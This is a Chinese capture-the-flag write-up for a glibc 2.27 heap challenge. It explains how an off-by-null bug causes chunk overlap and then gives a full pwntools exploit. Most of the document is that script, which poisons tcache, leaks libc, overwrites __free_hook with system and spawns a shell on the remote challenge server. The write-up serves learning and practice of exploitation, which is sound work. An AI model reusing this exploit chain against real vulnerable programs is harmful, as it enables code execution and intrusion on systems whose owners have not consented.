前言

每日一Pwn做到了这个题,复习了一下通过off_by_null造成堆块重叠。

https://www.nssctf.cn/problem/131

题目分析

glibc2.27

malloc函数只能申请0x80-0x100大小的堆块,并且可以泄漏出heap地址,另外malloc函数还兼具写的功能。

free函数没有uaf漏洞

edit函数通过一个全局变量来限制只能使用两次,并且存在off_by_null漏洞

show函数在没有篡改全局变量的情况下一次也不能使用。

off_by_null造成堆块重叠

当一个堆块要被释放进unsortedbin时,假如他的prev_inuse位是0,那么就会查看heap_addr-prev_size位置的堆块是否也是放入unsortedbin的堆块,如果是,那么就会将两个堆块合并。

假如我们有off_by_null漏洞,我们就可以篡改某一个将要放入unsortedbin的堆块的prev_inuse位,并且伪造一下prev_size,使得当前堆块的地址-prev_szie位置的堆块也是unsortedbin的堆块,这样释放被篡改的堆块的时候,就会将两个unsortedbin的堆块连同中间的堆块一起合并进unsortedbin。那么我们再申请堆块的时候,就可以切割这个大的unsortedbin,从而控制某个被两个unsortedbin的堆块合并进一起的堆块。

思路

利用overlapping篡改key,然后泄漏libc,然后篡改free_hook

exp

from pwncli import *

context(log_level='debug', arch='amd64', os='linux')
context.terminal = ["tmux", "splitw", "-h"]
uu64 = lambda x: u64(x.ljust(8, b'\x00'))
s = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sl = lambda x: p.sendline(x)
sla = lambda x, y: p.sendlineafter(x, y)
ru = lambda x: p.recvuntil(x)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))

def dbg():
gdb.attach(p,'b* 0x400DA6')
def pp64(*args):
payload=b''
for i, arg in enumerate(args):
payload+=p64(arg)
return payload
def cmd(c):
sla('4.show\n',str(c))
def malloc(idx,size,content="a"):
cmd(1)
sla('index:',str(idx))
sla('size:',str(size))
ru("gift: ")
heap_addr=int(ru('\n')[:-1],16)
sa('content:',content)
return heap_addr
def free(idx):
cmd(2)
sla('index:',str(idx))
def edit(idx,content):
cmd(3)
sla('index:',str(idx))
sa('content:',content)
def show(idx):
cmd(4)
sla('index:',str(idx))


#p=process('./huanan')
#node5.anna.nssctf.cn:25138
p=remote('node5.anna.nssctf.cn',25138)
libc=ELF('/ctf/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6')
for i in range(7):
malloc(i,0x80) #90
for i in range(7,14):
malloc(i,0xf0) #100
malloc(14,0x80) #第一个unosrtedbin的堆块
malloc(15,0x98) #a0 #中间被合并的堆块

malloc(16,0xf0) #100 #通过篡改16号堆块的prev_inuse+prev_size,造成堆块重叠

# 17和18是方便15号堆块多次进入tcache,从而实现任意地址申请
malloc(17,0x90) #a0
malloc(18,0x90) #a0
malloc(19,0x90,"/bin/sh\x00")
for i in range(14):
free(i)
free(14) #使得14号块进入unsortedbin,
#注意不要在进入unsortedbin之后再使用malloc,否则会进入smallbin
edit(15,b'a'*0x90+p64(0x130)) # 使用第一次edit
#篡改16号堆块的prev_inuse+prev_size,造成堆块重叠

free(16) # 触发overlap,实现堆块重叠
free(17)
free(18)
free(15) #释放15号堆块,让之后可以控制其fd指针
key1=0x6022B8

malloc(0,0x100,b'a'*0x88+p64(0xa1)+p64(key1)) #此时申请到14号块的位置,可以控制15号块的fd指针
heap_addr=malloc(15,0x90)
leak('heap_addr',heap_addr)
malloc(2,0x90,p32(0xffffff)*2) #篡改key1和key2
unsobin_addr=heap_addr+0x80

edit(0,b'a'*0x80+b'\x00'*7)
free(15) #0xa0 #如果之前没有free 17号块和18号块,会报错
edit(0,b'a'*0x88+p64(0xa1)+p64(unsobin_addr)) #tcache poisoning
malloc(15,0x90)
malloc(3,0x90)
#dbg()
show(3)
ru("\n")
libc_addr=uu64(p.recv(6))+0x79c2db800000-0x79c2dbbebc61
leak('libc_addr',libc_addr)
sys_addr=libc_addr+libc.sym['system']
free_hook=libc_addr+libc.sym['__free_hook']

free(15) #如果之前没有free 17号块和18号块,会报错
edit(0,b'a'*0x88+p64(0xa1)+p64(free_hook)) #tcache poisoning
malloc(15,0x90)
malloc(4,0x90,p64(sys_addr))
free(19)
ti()
#0x2d6e5640

画图

https://www.nssctf.cn/note/set/11724